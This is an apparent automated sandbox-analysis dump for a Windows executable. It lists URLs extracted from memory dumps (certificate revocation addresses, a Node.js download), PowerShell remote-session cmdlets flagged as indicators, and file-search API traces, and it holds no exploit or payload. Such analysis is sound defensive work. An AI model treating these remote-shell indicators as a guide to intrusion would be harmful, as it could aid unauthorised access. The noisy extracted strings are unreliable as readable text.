- Source: "00000000-00005780.00000001.162312.572B0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005780.00000001.162312.6FA10000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;+>%ytomaourcesources.resourcesnag)tomaources2.5.29.1ourcestionourcesourcessystem.management.automationmicrosoft.management.infrastructure2.5.4.3microsoft.powershell.consolehostpdigicert" - Source: "00000000-00005780.00000001.162312.6FA10000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005780.00000001.162312.6FA10000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005780.00000001.162312.6FA10000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00005780.00000001.162312.6FA10000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005780.00000001.162312.6FA10000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005780.00000001.162312.6FA10000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005780.00000001.162312.6FA10000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005780.00000001.162312.6FA10000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005780.00000001.162312.6FA10000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005780.00000001.162312.6FA10000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005780.00000001.162312.6FA10000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0erismicrosoft" - Source: "00000000-00005780.00000001.162312.6FA10000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm@sg" - Source: "00000000-00005780.00000001.162312.6FA10000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005780.00000001.162312.6FA10000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm'x" - Source: "00000000-00005780.00000001.162312.6FA10000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00005780.00000001.162312.6FA94000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00005780.00000001.162312.6FA94000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00005780.00000001.162312.6FA94000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zip" - Source: "00000000-00005780.00000001.162312.6FBE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00005780.00000001.162312.6FBE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005780.00000001.162312.6FBE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00005780.00000001.162312.6FBE0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005792.00000000.161507.80010000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00005792.00000000.161507.80010000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005792.00000000.161507.80010000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcaucooe:j9_($nnew" - Source: "00000000-00005792.00000000.161507.80064000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00005792.00000000.161507.80064000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00005792.00000000.161507.80064000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00005792.00000000.161507.80064000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00005792.00000000.161507.80064000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00005792.00000000.161507.80390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00005792.00000000.161507.80390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005792.00000000.161507.80390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00005792.00000000.161507.80390000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00005792.00000000.161507.80390000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00005792.00000000.161507.E5DA0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005792.00000001.161734.80010000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00005792.00000001.161734.80010000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005792.00000001.161734.80010000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcaucooe:j9_($nnew" - Source: "00000000-00005792.00000001.161734.80064000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00005792.00000001.161734.80064000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00005792.00000001.161734.80064000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00005792.00000001.161734.80064000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00005792.00000001.161734.80064000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00005792.00000001.161734.80390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005792.00000001.161734.80390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00005792.00000001.161734.80390000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00005792.00000001.161734.E5E56000.00000004.mdmp") Found URL "http://appsyndication.org/2006/appsynapplicationupgradeexclusivetrueenclosuredigestalgorithmsha1sha256none%04hu-%02hu-%02hut%02hu:%02hu:%02huz%04hu-%02hu-%02hut%02hu:%02hu:%02hu%c%02u:%02uattributessoftware\classes\installer\dependencies\dependents%ls%ls\%ls\%ls%ls\%ls>lvpmlv" - Source: "00000000-00007280.00000000.160644.005AE000.00000002.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zippath=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\roaming\nvm;%nvm_symlink%;c:\windows\system32\openssh\pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.mscprocessor_architecture=amd64processor_identifier=intel64" - Source: "00000000-00008816.00000000.163824.BA640000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zippathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.mscsslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtprocessor_identifier=intel64" - Source: "00000000-00008816.00000000.163824.BA640000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zipsslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtpathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.msc" - Source: "00000000-00008816.00000000.163824.BA671000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/nos\appdatg\nvclsid\" - Source: "00000000-00008816.00000000.163824.BA6CC000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zippath=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windo\registry\machine\software\classes\wow6432node\clsid\" - Source: "00000000-00008816.00000000.163824.BA6CC000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zippath=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\roaming\nvm;%nvm_symlink%;c:\windows\system32\openssh\pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.mscprocessor_architecture=amd64processor_identifier=intel64" - Source: "00000000-00008816.00000000.163824.BA930000.00000004.mdmp") Found URL "https://nodejs.org" - Source: "00000000-00008992.00000000.162674.04F00000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zipcurl_ca_bundle=c:\users\hapubws\.mitmproxy\mitmproxy-ca-cert.cerpathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.mscprocessor_identifier=intel64" - Source: "00000000-00008992.00000000.162674.04F00000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zippathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.mscprocessor_identifier=intel64" - Source: "00000000-00008992.00000000.162674.04F00000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zippathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.mschmen=1w)j]/i2qn@un30'" - Source: "00000000-00008992.00000000.162674.04F00000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00008992.00000000.162674.04F00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00008992.00000000.162674.04F00000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00008992.00000000.162674.04F00000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00008992.00000000.162674.04F00000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00008992.00000000.162674.04F00000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00008992.00000000.162674.04F00000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crglobalsign" - Source: "00000000-00008992.00000000.162674.04F00000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00008992.00000000.162674.04F00000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00008992.00000000.162674.04F00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00008992.00000000.162674.04F00000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czc" - Source: "00000000-00008992.00000000.162674.04F00000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zippath=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\roaming\nvm;%nvm_symlink%;c:\windows\system32\openssh\pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.mscprocessor_architecture=amd64processor_identifier=intel64" - Source: "00000000-00008992.00000000.162674.050F0000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zippath=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\roaming\nvm;%nvm_symlink%;c:\windows\system32\openssh\pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.mscprocessor_architecture=amd64processor_identifier=intel64" - Source: "00000000-00008992.00000000.162674.06A50000.00000004.mdmp") Found URL "https://nodejs.org" - Source: "00000000-00008992.00000001.162904.04F00000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zipcurl_ca_bundle=c:\users\hapubws\.mitmproxy\mitmproxy-ca-cert.cerpathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.mscprocessor_identifier=intel64" - Source: "00000000-00008992.00000001.162904.04F00000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zippathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.mscprocessor_identifier=intel64" - Source: "00000000-00008992.00000001.162904.04F00000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zippathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.mschmen=1w)j]/i2qn@un30'" - Source: "00000000-00008992.00000001.162904.04F00000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00008992.00000001.162904.04F29000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00008992.00000001.162904.04F29000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00008992.00000001.162904.04F29000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00008992.00000001.162904.04F29000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00008992.00000001.162904.04F29000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00008992.00000001.162904.04F29000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crglobalsign" - Source: "00000000-00008992.00000001.162904.04F29000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00008992.00000001.162904.04F29000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00008992.00000001.162904.04F29000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00008992.00000001.162904.04F29000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czc" - Source: "00000000-00008992.00000001.162904.04F29000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zippath=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\roaming\nvm;%nvm_symlink%;c:\windows\system32\openssh\pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.mscprocessor_architecture=amd64processor_identifier=intel64" - Source: "00000000-00008992.00000001.162904.050F0000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zippath=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\roaming\nvm;%nvm_symlink%;c:\windows\system32\openssh\pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.mscprocessor_architecture=amd64processor_identifier=intel64" - Source: "00000000-00008992.00000001.162904.06A50000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmdocs9@sg" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mn" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "http://cert.epfk>0c0!pdg>1.3.6.1.4.1.311.10.3.42" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00008992.00000001.162904.07183000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zipsslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txt" - Source: "00000000-00008992.00000001.162904.1F300000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008992.00000001.162904.1F300000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00008992.00000001.162904.1F300000.00000004.mdmp") Found URL "https://nodejs.org/dist/v18.19.0/node-v18.19.0-win-x64.zippath=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\roaming\nvm;%nvm_symlink%;c:\windows\system32\openssh\pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.msc;.cplprocessor_architecture=amd64processor_identifier=intel64" - Source: "00000000-00008992.00000001.162904.1F363000.00000004.mdmp")59:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp")5a:Td6b,"4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "FindFirstFileW" with parameter C:\4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe.local (UID: 00000000-00005188) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "FindFirstFileW" with parameter %WINDIR%\Temp\{598E3B9A-B770-4232-88C6-DA139C3689F8}\.cr\4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe.lo (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "FindFirstFileW" with parameter %WINDIR%\Temp\{AD6AEC28-EE89-4A68-B865-0B298FBD046A}\.ba\1033\thm.wxl (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "FindFirstFileW" with parameter %WINDIR%\Temp\{AD6AEC28-EE89-4A68-B865-0B298FBD046A}\.ba\thm.wxl (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "FindFirstFileW" with parameter %WINDIR%\Temp\{AD6AEC28-EE89-4A68-B865-0B298FBD046A}\.ba\1033\thm.xml (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "FindFirstFileW" with parameter %WINDIR%\Temp\{AD6AEC28-EE89-4A68-B865-0B298FBD046A}\.ba\thm.xml (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Package Cache\{cf64be47-87a6-4000-ac93-df63dfbc49b2}\output.exe (UID: 00000000-00007280) 